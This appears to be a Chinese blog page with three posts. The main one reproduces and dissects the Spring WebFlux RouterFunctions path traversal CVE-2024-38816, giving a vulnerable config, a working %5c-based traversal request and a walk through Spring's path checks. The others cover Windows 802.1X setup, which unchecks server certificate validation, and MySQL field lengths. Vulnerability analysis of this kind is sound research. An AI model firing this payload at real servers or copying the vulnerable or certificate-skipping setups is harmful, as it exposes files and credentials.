WebFlux 是 Spring 5 中引入的模块,专门用于构建异步、非阻塞的 web 应用,适合于高并发和 I/O 密集型的场景。WebFlux 基于反应式编程模型,允许应用在处理请求时不阻塞线程,从而提高了性能。

RouterFunctions 和 FileSystemResource

RouterFunctions

RouterFunctions 是Spring WebFlux的一部分,它提供了一种函数式编程模型来定义请求路由和处理。使用 RouterFunctions,你可以创建一个路由,它将HTTP请求映射到处理这些请求的函数上。

FileSystemResource

FileSystemResource 是Spring框架中的一个类,它表示文件系统中的一个资源,通常用于读取和写入文件。它实现了 org.springframework.core.io.Resource 接口。

环境搭建

这里就用webflux来举例子

首先选择spring的版本,只需要在影响版本里面的就好了

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

然后因为要满足

当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

可以问问gpt啥的

image

创建一个漏洞代码

1
2
3
4
5
6
7
@Configuration
public class Config {
@Bean
public RouterFunction<ServerResponse> test() {
return RouterFunctions.resources("/static/**", new FileSystemResource("D:/phpstudy_pro/WWW/"));
}
}

漏洞复现

首先我们在D盘放一个文件,用于测试

在1.txt写入flag{scueess}

然后尝试访问路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /static/%5c/%5c/../../1.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

image

可以发现是成功了

漏洞分析

先查看官方的diff确定漏洞代码位置

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707L151

是在PathResourceLookupFunction类,如何修复的先不关心,当然如果很明显就可以更快,我们把关键方法给打个断点慢慢看一看,然后慢慢分析调试一会就能知道个大概

因为是使用了RouterFunctions处理,会来到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Mono<Resource> apply(ServerRequest request) {
PathContainer pathContainer = request.requestPath().pathWithinApplication();
if (!this.pattern.matches(pathContainer)) {
return Mono.empty();
} else {
pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
String path = this.processPath(pathContainer.value());
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
} catch (IOException var5) {
throw new UncheckedIOException(var5);
}
} else {
return Mono.empty();
}
}
}

首先是从pathContainer.value()获取path,然后由processPath处理

image

processPath方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
boolean slash = false;

for(int i = 0; i < path.length(); ++i) {
if (path.charAt(i) == '/') {
slash = true;
} else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
if (i == 0 || i == 1 && slash) {
return path;
}

path = slash ? "/" + path.substring(i) : path.substring(i);
return path;
}
}

return slash ? "/" : "";
}

简单来讲就是

去除路径开头的无效字符:忽略空格、控制字符等无效字符,找到第一个有效字符。

保留根路径:如果路径开头有斜杠 /,则确保处理后的路径以 / 开头。

快速返回有效路径:如果路径是根路径或有效路径已经以 / 开头,直接返回,不做额外处理。

输入: " /home/user"
输出: "/home/user"

  • 去除了路径开头的空格,保留以 / 开头的有效路径。

输入: " user/docs"
输出: "user/docs"

  • 去除了路径开头的空格,保留从第一个有效字符 u 开始的路径。

输入: "////"
输出: "/"

  • 只有斜杠的情况,返回根路径 /

输入: " "
输出: ""

这个处理对我们的../这种没有影响的

然后回到apply

1
2
3
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

如果包含%,就是url编码的标志,然后会继续url解码

最终确定路径的点是在

1
2
3
4
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();

关键在于this.isInvalidPath(path)判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}

我们需要的是返回false,看来能够返回的只有一个地方了return path.contains(“..”) && StringUtils.cleanPath(path).contains(“../“);,首先我们可以有..这种字符的存在,因为是&符号连接的,所以终极目的就是StringUtils.cleanPath(path).contains(“../“)返回false

cleanPath方法很长,一步一步分析

这个代码是为了处理windows和linux的差异的,会windows中的\\或者\转为linux中的/

1
2
3
4
5
6
7
String normalizedPath;
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

然后就是处理前缀了,如果路径没有.直接返回,如果又会处理,还是为了处理windows的场景

58 对应的是冒号 :,用于检测是否有像 C: 这样的路径前缀。如果存在前缀(如 Windows 路径中的盘符),将其提取出来。

如果前缀中包含 /,则认为它不是有效的前缀(可能是 URL 的一部分),清除它;否则将前缀保留并将路径的主体部分截取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (normalizedPath.indexOf(46) == -1) {
return normalizedPath;
} else {
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

然后根据 / 拆分路径,将其转换为一个数组 pathArray

1
2
3
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

image

如果包含.则不会走到pathElements.addFirst(element);相当于去除,中间对于tops的处理就是相当于在处理..的路径穿越字符了

1
2
3
4
5
6
7
8
9
10
11
12
for(i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

结合

1
2
3
4
5
6
7
8
9
10
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
}

......
for(i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

处理前和处理后的代码

image

应该能读懂这个逻辑吧

然后最后就是拼接了

1
2
String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;

image

如果我们想要返回的路径不包含../就得从其中一步找点破绽,其实就是连猜带蒙多去尝试各种各样的路径

其实考虑一下,它是类似于这种就会实现有../但是返回的时候不包含../

比如

a/b/../c

经过处理后,路径将被简化为 a/b/d,因为 c/.. 相当于取消了 c 目录的影响

这里我们希望b能够占个位置,但是又不会当作目录的一个字符

代码逻辑是以/作为分割

空字符也算做一个元素,按理来说构造这样一个字符就ok了

1
/static/////../../1.txt

自己写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.demo;

import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;

public class test {
public static void main(String[] args) {
String path = "/static/////../../1.txt";
System.out.println(isInvalidPath(path));

}

public static boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}
}

image

可以看到确实是可以的,但是实际中不行,是因为最开始分析的processPath对我们的路径最了标准化处理

然后思路就回到如何绕过这个标准化,就是不能出现////这种连起来的,再结合刚刚对windows的处理\

那我们可以构造这样一个路径

1
/static/%5c/%5c/../../1.txt

首先processPath处理后原样输出,而标准化处理后就变为

image

然后就可以了

image

参考

https://avd.aliyun.com/detail?id=AVD-2024-38816

WIN10系统使用自带软件进行有线802.1X认证时的配置方法

WIN10系统使用自带软件进行有线802.1X认证时的配置方法

本文转自 丁晏 并作补充

前提条件

选择“开始 > 控制面板”,依次单击“系统和安全”、“管理工具”和“服务”,确认“Extensible Authentication Protocol”和“Wired AutoConfig”两个服务的“启动类型”为“自动”,“状态”为“正在运行”。

操作步骤

1、选择“开始 > 控制面板”。
2、在“控制面板”选择“网络和Internet > 网络和共享中心 > 查看网络状态和任务 > 以太网”(控制面板的“查看方式”选择“类别”时可显示“网络和Internet”)。

image

3、在“以太网状态”窗口,选择“属性”。
4、在“身份验证”页签,选中“启用IEEE 802.1X身份验证”,“选择网络身份验证方法”设置为“Microsoft: 受保护的EAP(PEAP)”,单击“设置”。

image

5、取消勾选“通过验证证书来验证服务器的身份”,“选择身份验证方法”选择“安全密码(EAP-MSCHAP v2)”,单击“配置”。

image

6、取消选中“自动使用 Windows 登录名和密码”,单击“确定”。

image

说明:如果操作系统使用AD域帐号登录,并且用来进行802.1X认证的用户名和密码也是使用的登录操作系统的域帐号和密码,则勾选“自动使用Windows登录名和密码”。

7、等待Windows弹出认证框,即可输入用户名和密码进行认证。

MySQL数据库字段超长问题

MySQL数据库字段超长问题

本文转自 adrninistrat0r 并作补充

1. 存在的问题

在向MySQL数据库表中插入或更新记录时,有时会出现字段超长的问题,包括但不限于以下场景:

处理上游系统发送的交易信息,将多个字段拼成一个JSON或其他格式的字符串;在增加字段,或数据较长时,写入或更新数据库时可能超长;

调用下游系统的服务,返回的部分字段(如错误信息等)较长时,导致更新数据库记录失败。

2. 问题解决与优化建议

2.1. JSON等格式的字段

有业务含义的重要字段,不建议通过JSON字符串格式保存在一个数据库字段中。

假如需要将字段以JSON字符串格式保存在一个数据库字段中,建议只保存相对不重要,且不需要作为唯一的查询条件的字段,在进行保存时也需要考虑字段超长问题,及新旧数据与新旧代码相互之间的兼容问题。

2.1.1. MySQL字符串字段长度

半角英文字母、数字、符号等常见字符,1个字符占用1个字节;1个汉字字符占用3个字节。

在utf8字符集下,1个字符最多占用3个字节,不支持占用4个字节的字符。

在utf8mb4字符集下,1个字符最多占用4个字节,可以保存emoji表情等占用4个字节的字符。

MySQL字符串字段的最大长度如下所示:

类型 最大长度 单位
CHAR(n) 255 字符数
VARCHAR(n) 65535 字符数
TINYTEXT 255 字节数
TEXT 65535 字节数
MEDIUMTEXT 16777215 字节数
LONGTEXT 4294967295 字节数

需要注意,CHAR、VARCHAR类型字段的最大长度的单位为字符数,能够保存的汉字数量等于最大支持字符数;

TEXT等类型字段的最大长度的单位为字节数,能够保存的汉字数量不超过最大支持字节数的1/3。

2.1.2. MySQL使用较长的字符串类型字段影响

MySQL、MariaDB较新版本支持JSON类型字段,其他版本需要使用字符串类型字段保存。

MySQL中长度超过768字节的固定长度字段被编码为变长字段,例如VARCHAR(超过768字节)、TEXT等,变长字段被称为页外列(off-page),不是保存在InnoDB的B+树索引中,而是保存在溢出页(overflow page)中。在溢出页中,变长字段的值以单链表形式存储。

对于保存JSON形式的字符串类型字段,由于需要保存较多内容,很可能属于变长字段。保存JSON形式的字符串类型字段不适合在查询时作为唯一的查询条件,原因如下:

保存JSON形式的字符串类型字段不适合创建索引:一是JSON字符串中的字段顺序不固定,通过like进行最左匹配查询,很难从保存JSON形式的字段中查询到需要的数据;二是因为InnoDB索引支持的长度有限(在MySQL InnoDB默认配置下,索引支持的最大长度为768字节);

仅通过变长字段进行查询时,无法通过B+树结构的索引进行查询,而是需要在单链表形式的溢出页中逐条进行查询,查询效率会非常低。

查询变长字段,与不查询变长字段相比,开销会更大,耗时会更长。因为查询变长字段时,会增加从溢出页中查询数据的步骤;且需要返回的数据量可能较大,数据返回耗时会增加。

在查询包含变长字段的数据库表时,假如不需要获取变长字段,则不应该在SQL语句中指定查询变长字段。

2.2. 可以截断的字段

对于截断后不影响使用的字段,在写入或更新数据库时,可对存在超长风险的字段按照数据库字段长度进行截断;

JDK中的String.substring()方法,commons-lang3中的StringUtils.substring()、StringUtils.truncate()方法,参数中的数字单位都是字符数,不是字节数。

在Java中对字符串进行截取时,建议使用StringUtils.truncate()方法。

MySQL中的CHAR、VARCHAR类型的最大长度,也是字符数,不是字节数。

因此在Java中对字符串根据MySQL的字符串类型字段长度进行截取时,两者的长度是一致的。

例如MySQL中的字段为VARCHAR(200),则可使用以下方式进行截取,将截取结果写入数据库。

1
javaStringUtils.truncate("xxx", 200);